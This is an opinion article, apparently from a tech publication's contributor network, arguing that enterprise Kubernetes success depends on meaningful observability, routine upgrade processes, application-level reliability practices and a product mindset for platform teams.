Kubernetes has mountains of data. Things like  logs, metrics, traces, events, audits, deployment history, container restarts, control plane noise, you name it. The real challenge isn’t collecting info, but actually it’s making sense of it. The CNCF and others have best practices for logging and telemetry, like centralizing logs and not leaking secrets. Those matter, but at the end of the day, engineers need answers, not just data. When something breaks, no one’s asking, “Is Kubernetes alive?” They want to know what changed. Did something roll out? Did a pod crash? Did autoscaling fire too late? Was a node unhealthy, a secret rotated, a network policy too tight, a downstream DB choking?

Observability should line up with real operational questions and not just ticking boxes for logs, or metrics. Dashboards need to match service ownership. Alerts need to mean something to end users. Telemetry should connect to deployments and incidents. Measure how quickly engineers spot the root cause, not just that you have the data somewhere.

CNCF talks about newer models of unified telemetry and proactive troubleshooting for a reason. All the dashboards in the world don’t help when your team has to play detective during an outage.

Upgrades: Don’t wing it

Kubernetes upgrades catch people out. The CNCF Maturity Model says: Kubernetes drops three big releases a year, so maintenance is part of life—not a once-in-a-blue-moon project.

Upgrading at enterprise scale can involve everything: workloads, admission controllers, CI/CD, service mesh, ingress, storage drivers, monitoring, security, custom controllers. Version skew policies keep you between the lines, but that’s just the beginning. The real question is: can you test your whole stack?

Good upgrade programs need a repeatable process, staging environments that actually look like production, and clear communication so teams know what to expect. The worst upgrade process is the one that relies on heroes to pull it off at the last second. A strong platform turns upgrades into routine.

Reliability: Kubernetes helps, but it doesn’t guarantee it

Yes, Kubernetes restarts crashed containers, reschedules pods and does rolling deployments. But it doesn’t make a bad app reliable.

A poorly coded app will fail on Kubernetes just like anywhere else. Bad readiness or liveness probes? Your app gets traffic too soon. No graceful shutdown? Requests drop during deploy. Forgot pod disruption budgets? The app goes down during node maintenance. A flaky dependency? It will cascade through your services even if all your pods look healthy.

The mature approach is setting service-level objectives and making reliability a product of both platform and engineering. Cluster health isn’t user experience. That green status page can hide a lot of pain.

The platform team is a product team

Here’s the biggest lesson I’ve picked up is that running Kubernetes at enterprise scale isn’t really about the tech. One cluster? Maybe one expert can handle that. But for a full enterprise platform, you need a product mindset. The platform team serves customers such as engineers, security, compliance, finance and business. Everyone wants something a bit different.

Developers want speed and reliability. Security wants oversight. Finance wants transparency. Compliance wants proof. Ops wants predictability. The business wants all of those.

The platform team has to pull those threads together with APIs, docs, dashboards, paved roads, support and feedback. That also means saying “no” to the unique snowflake patterns that create chaos later. Kubernetes is powerful. But it doesn’t replace organizational discipline. That’s still on the shoulders of engineering leaders. The real challenge at enterprise scale isn’t memorizing every API object. It’s building a system where any team can ship safely without needing to be Kubernetes experts themselves.

When you reach that point, Kubernetes stops being just a cluster. It becomes your platform.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?